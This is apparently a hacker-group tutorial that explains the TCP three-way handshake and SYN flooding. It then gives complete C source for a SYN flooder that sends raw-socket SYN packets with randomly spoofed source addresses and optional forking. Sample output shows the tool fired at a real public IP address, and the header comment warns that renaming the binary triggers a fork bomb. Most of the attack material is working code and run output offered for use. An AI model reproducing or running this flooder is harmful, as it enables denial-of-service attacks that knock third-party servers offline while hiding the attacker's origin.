Abusing Threeway Handsake


Writer : ev1lut10n

"A Chinese lives in Indonesia"

'it's not just about name, it's not just about money, it's how we can 
learn to develop this internet and patch every hole'


I. Before We Begin - About the 7 Layer






The 7 Layer of OSI was developed by the International Organization for 
Standardization (ISO) as a network. Inside this model the network was 
splitted 
into 7 layers, they are :

- layer 7 : application layer, example : http,ftp

- layer 6 : presentation layer, example : ssl

- layer 5 : session layer, example: pptp

- layer 4 : transport layer, example : tcp,udp,sctp, dccp

- layer 3 : network layer,example : ip , icmp, igmp

- layer 2 : data link layer, example: arp, atm

- layer 1 : physical layer.




Abusing the Weakness of TCP IP Mechanism (IP V 4)


Theree way handsake is a method to establish tcp socket connections 
between two host. Below is a simple explanation about how this mechanism 
works in 
normal condition:


1. Bob send a tcp synchronize to Alice with sequence number 10

2. Alice Reply to Bob with synchronize acknowledgment and sequence number 
11

3.  Bob reply to Alice with acknowledgment 

4. Connection established !


One thing to remember is when Alice receive the tcp synchronize from Bob 
after the first step, Alice will allocate a buffer for that synchronize, 
After 
that Alice will try to reply to the ip address that initiate tcp 
connection by sending synchronize and acknowledgment, unfortunetly if the 
attacker 
using spoofed source ip address where it's not exist Alice will never get 
ack reply meanwhile Alice still allocate her buffer for the first 
synchronize 
that she had received before from the attacker so there will be many half 
open connections on Alice's host, this conditions will bind resources of 
Alice server and making Alice host can not allocate new buffer for other 
legitimate traffic because it's backlog is full.


Here's a simple picture to show tcp syn flood attack:






Making a Simple SYN-FLOODER using C

Actually we can attack without spoofing source address as long as we 
configure our operating system to block SYN-ACK, but that kind of attack 
is not 
efficient and easy to get blocked by our target. In this article we' going 
to perform a SYN-FLOOD using spoofed source address in C. In order to 
execute such a technic we must modify internet header and tcp header. Here 
is the schema of an internet header :


Internet Header Schema

0 1 2 3

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|Version| IHL |Type of Service| Total Length |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Identification |Flags| Fragment Offset |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Time to Live | Protocol | Header Checksum |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Source Address |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Destination Address |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Options | Padding |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


To setup our internet header we will use struct iphdr from 
/usr/include/netinet/ip.h

==================================

struct iphdr

{

#if __BYTE_ORDER == __LITTLE_ENDIAN

unsigned int ihl:4;

unsigned int version:4;

#elif __BYTE_ORDER == __BIG_ENDIAN

unsigned int version:4;

unsigned int ihl:4;

#else

# error "Please fix <bits/endian.h>"

#endif

u_int8_t tos;

u_int16_t tot_len;

u_int16_t id;

u_int16_t frag_off;

u_int8_t ttl;

u_int8_t protocol;

u_int16_t check;

u_int32_t saddr;

u_int32_t daddr;

/*The options start here. */

};

=============================


The minimal ip header size is 20 octet.


===================

struct iphdr *iph;

iph->ihl = 5; //lenth of ip header (4 bits)

iph->version = 4; //we are going to use ip v 4 (4 bits)

iph->tos = 0; //service type (1 byte)

iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); //total 
length of ip datagram

iph->id = htonl(54321); //identification

iph->frag_off = 0;//fragment offset

iph->ttl = MAXTTL;//How long our datagram will keep alive ?

iph->protocol = 6; // upper layer protocol, TCP

iph->check = 0; //checksum

iph->saddr = inet_addr("212.212.212.212"); //sample modified source 
address

=========================

After we prepare our ip header we must prepare our tcp header


TCP Header Schema


0 1 2 3

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Source Port | Destination Port |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Sequence Number |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Acknowledgment Number |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Data | |U|A|P|R|S|F| |

| Offset| Reserved |R|C|S|S|Y|I| Window |

| | |G|K|H|T|N|N| |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Checksum | Urgent Pointer |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Options | Padding |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| data |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


We will use tcp header structure from /usr/include/netinet/tcp.h (RFC 793, 
September, 1981) :


=================

struct tcphdr

{

u_int16_t source;

u_int16_t dest;

u_int32_t seq;

u_int32_t ack_seq;

# if __BYTE_ORDER == __LITTLE_ENDIAN

u_int16_t res1:4;

u_int16_t doff:4;

u_int16_t fin:1;

u_int16_t syn:1;

u_int16_t rst:1;

u_int16_t psh:1;

u_int16_t ack:1;

u_int16_t urg:1;

u_int16_t res2:2;

# elif __BYTE_ORDER == __BIG_ENDIAN

u_int16_t doff:4;

u_int16_t res1:4;

u_int16_t res2:2;

u_int16_t urg:1;

u_int16_t ack:1;

u_int16_t psh:1;

u_int16_t rst:1;

u_int16_t syn:1;

u_int16_t fin:1;

# else

# error "Adjust your <bits/endian.h> defines"

# endif

u_int16_t window;

u_int16_t check;

u_int16_t urg_ptr;

};

===================


Here's sample of our tcp header:

====================

tcph->source = htons(1337);//our source port

tcph->seq = random(); //sequence num is the first queque num from the 
first data at the first octet of tcp segment

tcph->ack_seq = 0; //ack sequence

tcph->res2 = 0; //reserved

tcph->doff = 0x5; // data indication at tcp segment

tcph->syn = 1; //if syn we set true

// or tcph->flag

tcph->window = htonl(65535); //our window size to negotiate how much data

tcph->check = 0;//checksum to check integrity of tcp segment

tcph->urg_ptr = 0;//urgent pointer

=====================








Here is our sample of syn flood that we create using RAW_SOCK (root 
privilege needed)


ev1syn2.c

==============

/**ev1syn2.c - A SYN Flood with Random Spoofed Source Address and Random 
Delay and U may specify how many forks

this is a fixed bugs version after v 1.

compiled filename of this tool must be : ev1syn if u rename it u're goin 
to get a fork bomb, trust me i dont lie

made by : ev1lut10n (A Chinese MaN lives in Indonesia)

this tool need root privilege because it needs to create raw socket.

how to compile ???

cc -o ev1syn2 ev1syn2.c

usage : %s <hostname> <target_port_number> <source_port> <range_delay> 
<enable fork or no ? if enable fork, type number of fork here,by default 
no 
forking enabled>

thanks to all devilzc0de crews and members

some part of this source code was modified from 
http://www.tenouk.com/Module43b.html

**/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <time.h>

#include <unistd.h>

#include <sys/types.h>

#include <netdb.h>

#include <sys/socket.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#include <arpa/inet.h>

int cek_privilege()

{

unsigned int uid,euid;

uid=getuid();

euid=geteuid();

//jika uid dan euid bukan 0 , sploit berhenti di sini

if(uid!=0 && euid!=0)

{

printf("[-] To run this, you need to be root !!\n");

exit(-1);

}

return 0;

}

void banner(char arg[])

{

fprintf(stdout,"Simple SYN Flood v.1 by ev1lut10n\n");

fprintf(stdout,"usage : %s <hostname> <target_port_number> <source_port> 
<range_delay> <fork_numbers>\n",arg);

}

void gime_er_mas()

{

char esc = 27;

printf("%c%s",esc,"[2J");

printf("%c%s",esc,"[1;1H");

printf("\nsorry dude there's an error...\n");

}



//pakai checksum untuk integritas data

unsigned short csum (unsigned short *buf, int nwords)

{

unsigned long sum;

for (sum = 0; nwords > 0; nwords--)

sum += *buf++;

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

return (unsigned short)(~sum);

}

int main(int argc,char *argv[])

{

//sebenernya kita ga pake thread tapi pake fork tapi krn dah telanjur pake 
variabel ini

int delay,status,acak,thr34d_numb3r,fork_sekarang;

char datagram[4096];

struct hostent *he;

struct in_addr a;

struct iphdr *iph = (struct iphdr *)datagram;

struct tcphdr *tcph = (u_int8_t *)iph + (5 * sizeof(u_int32_t));

struct sockaddr_in target_serangan;

char spoof_ip[sizeof "255.255.255.255"];

cek_privilege();

if(argc<3)

{

banner(argv[0]);

return -1;

}

if(argv[4]==NULL)

{

delay=1;

}

else

{

delay=atoi(argv[4]);

}

//cek apakah pake forking

if(argv[5]!=NULL)

{

thr34d_numb3r=atoi(argv[5]);

if(thr34d_numb3r>10)

{

fprintf(stdout,"\nWe're very sorry dude max fork number ya may set is 10 
!!!\n");

return -1;

}


}

else

{

thr34d_numb3r=1;

}

fprintf(stdout,"[+] Delay Range Set to %d second(s) and fork number set to 
%d fork[s]\n",delay,thr34d_numb3r);

for(fork_sekarang=-1;fork_sekarang<=thr34d_numb3r;fork_sekarang++)

{

FILE *ps = popen("/bin/ps aux | grep ev1syn2", "r");

if (ps)

{

char buf[1024];

int jum = 0;

while(fgets(buf, sizeof(buf), ps))

{

jum++;

}

if(jum<=thr34d_numb3r)

{

fork();

}

fclose(ps);

}



fprintf(stdout,"\n[+] New PID Set\n");

}

fprintf(stdout,"[+] Creating raw socket to attack %s on port 
%s\n",argv[1],argv[2]);

int soket=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); //kita siapkan sock raw

unsigned int port_target = atoi(argv[2]); //argumen kedua dikonvert dari 
ascii ke integer

unsigned int port_kita = atoi(argv[3]); //argumen ke 3 juga sama spt di 
atas

target_serangan.sin_family = AF_INET; //sin family kita pakai af inet

target_serangan.sin_port = htons(port_target); //host to network short

int benar = inet_pton(AF_INET, argv[1], &(target_serangan.sin_addr));


if(benar)

{

target_serangan.sin_addr.s_addr = inet_addr(argv[1]);

}

else

{

he = gethostbyname (argv[1]);

if (he)

{

bcopy(*he->h_addr_list, (char *) &a, sizeof(a));

target_serangan.sin_addr.s_addr = inet_addr(inet_ntoa(a));

}

}


memset(datagram, 0, 4096);

//kita persiapkan ip header

iph->ihl = 5; //panjang ip header (4 bits)

iph->version = 4; //menggunakan ip versi 4 (4 bits)

iph->tos = 0; //jenis servis (1 byte)

iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);

iph->id = htonl(54321);

iph->frag_off = 0;

iph->ttl = 255;

iph->protocol = 6; // upper layer protocol, TCP

iph->check = 0; //checksum untuk proteksi korupsi data

fprintf(stdout,"[+] IP header set\n");

sleep(1) ;

//setelah itu baru kita persiapkan tcp header

tcph->source = htons(port_kita);

tcph->seq = random(); //nomor sequence

tcph->ack_seq = 0; //ack sequence

tcph->res2 = 0; //reserved kita set 0

tcph->doff = 0x5; // indikasi data dalam tcp segmen

//tcph->flag

tcph->syn = 1; //jika syn kita set flag syn =1

tcph->window = htonl(65535); //ukuran window indikasi berapa banyak data

tcph->check = 0;//ceksum untuk mengecek integritas segmen tcp

tcph->urg_ptr = 0;//pointer menunjukkan lokasi data yg dianggap urgen

//eof prepare tcp header

fprintf(stdout,"[+] TCP header set\n");

sleep(1) ;

//di sini kita lakukan sedikit injeksi pada datagram

tcph->dest = htons(port_target);

iph->daddr = target_serangan.sin_addr.s_addr;

iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

fprintf(stdout,"[+] Injected ip datagram\n");

sleep(1) ;

int tmp = 1;

const int *val = &tmp;

/**IP_HDRINCL kita set biar kita bisa kirim ke dest addr , klo ga diset dg 
setsockopt tdk akan bisa **/

if(setsockopt(soket, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){

gime_er_mas();

return -1;

}

fprintf(stdout,"[+] Socket option set\n");

sleep(1) ;

while(1)

{

snprintf(spoof_ip,16,"%lu.%lu.%lu.%lu",random() % 255,random() % 
255,random() % 255,random() % 255);

iph->saddr = inet_addr(spoof_ip);

if(sendto(soket,datagram,iph->tot_len,0,(struct sockaddr *) 
&target_serangan, sizeof(target_serangan)) )

{

printf("[+] SYN sent to [%s:%d] using spoofed ip: [%s:%d]\n", argv[1] , 
port_target,spoof_ip,port_kita);

}

acak = random ()% delay ;

sleep(acak) ;

}

return 0;

}

Ok here's sample usage for syn flooding using spoofed source address:


==============

root@ev1l:/home/ev1lut10n/c# ./ev1syn

Simple SYN Flood v.1 by ev1lut10n

usage : ./ev1syn <hostname> <target_port_number> <source_port> 
<range_delay> <fork_numbers>

root@ev1l:/home/ev1lut10n/c# ./ev1syn 81.0.217.77 80 80 2 2

[+] Delay Range Set to 2 second(s) and fork number set to 2 fork[s]


[+] New PID Set


[+] New PID Set


[+] New PID Set


[+] New PID Set

[+] Creating raw socket to attack 81.0.217.77 on port 80

[+] IP header set

[+] TCP header set

[+] Injected ip datagram

[+] Socket option set

[+] SYN sent to [77.78.103.36:80] using spoofed ip: [83.85.162.151:80]

[+] SYN sent to [77.78.103.36:80] using spoofed ip: [121.249.252.241:80]

[+] SYN sent to [77.78.103.36:80] using spoofed ip: [233.19.20.82 :80]

[+] SYN sent to [77.78.103.36:80] using spoofed ip: [31.142.81.45 :80]

........dst

==============



Here's the traffic capture using wireshark :